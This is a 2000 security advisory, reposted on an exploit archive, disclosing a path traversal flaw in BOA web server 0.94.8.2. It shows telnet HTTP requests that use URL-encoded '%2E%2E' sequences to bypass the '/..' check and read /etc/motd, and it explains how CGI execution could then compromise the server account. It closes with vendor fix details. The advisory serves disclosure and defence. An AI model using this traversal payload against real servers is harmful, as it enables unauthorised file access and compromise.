BOA Web Server 0.94.8.2 - Arbitrary File Access Vulnerability

2015-04-0900:00:00

llmora

0day.today

0.025 Low

EPSS

Percentile

88.9%

JSON

Exploit for linux platform in category web applications

###############################################################
Title: Vulnerability in BOA web server v0.94.8.2
Date: 03/10/2000
Status: Vendor contacted, patch available
Scope: Arbitrary file access
Author: llmora
Release: Public
###############################################################
 
                S 2 1 S E C
 
             http://www.s21sec.com
 
    Vulnerability in BOA web server v0.94.8.2
 
 
There is a security bug in BOA v0.94.8.2 that allows a malicious
user to access files outside the document root of the web server
as the user the server runs as.
 
About BOA
---------
 
Boa is an open source high performance web server for Unix-alike
computers (http://www.boa.org). It does file serving and dynamic
content generation via CGI.
 
Vulnerability description
-------------------------
 
- Reading any file in the web server
 
The boa web server suffers of the well-known "../.." web server
problem. If we request a document from the web server,
using the "../.." technique, we get:
 
homer:~$ telnet ilf 80
Escape character is '^]'.
GET /../../../../../../../../../../../etc/motd HTTP/1.0
 
HTTP/1.0 404 Not Found
 
<HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD>
<BODY><H1>404 Not Found</H1>
The requested URL /etc/motd was not found on this server.
</BODY></HTML>
Connection closed by foreign host.
homer:~$
 
So apparently it doesn't work, as boa checks for "/.." in the path.
 
By URL-encoding the "." in the request, we are able to skip the ".." test,
allowing us to access the contents of any file the user running the
web server has access to:
 
homer:~$ telnet ilf 80
GET
/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2
E/etc/motd HTTP/1.0
 
HTTP/1.0 200 OK
 
[... the /etc/motd file content is shown]
 
Connection closed by foreign host.
homer:~$
 
If the administrator enables extension based CGI support with a line like
this in the boa.conf file:
 
AddType application/x-httpd-cgi cgi
 
then a request for a file ending in .cgi will result in the file being
executed with the privileges of the user id running the web server. This
file can be placed in any folder throughout the file system, not strictly
under the DocumentRoot, and be accessed using the previous bug, leading
to the web server account compromise.
 
Affected versions
-----------------
 
This bug has been tested and verified to be present in v0.94.8.2 of the boa
web server. Version 0.92 of boa is not affected by this problem.
 
Fix information
---------------
 
The boa development team has released v0.94.8.3 which fixes this
vulnerability.
Upgrades are available at the vendor website (http://www.boa.org).

#  0day.today [2018-04-11]  #

0.025 Low

EPSS

Percentile

88.9%

JSON

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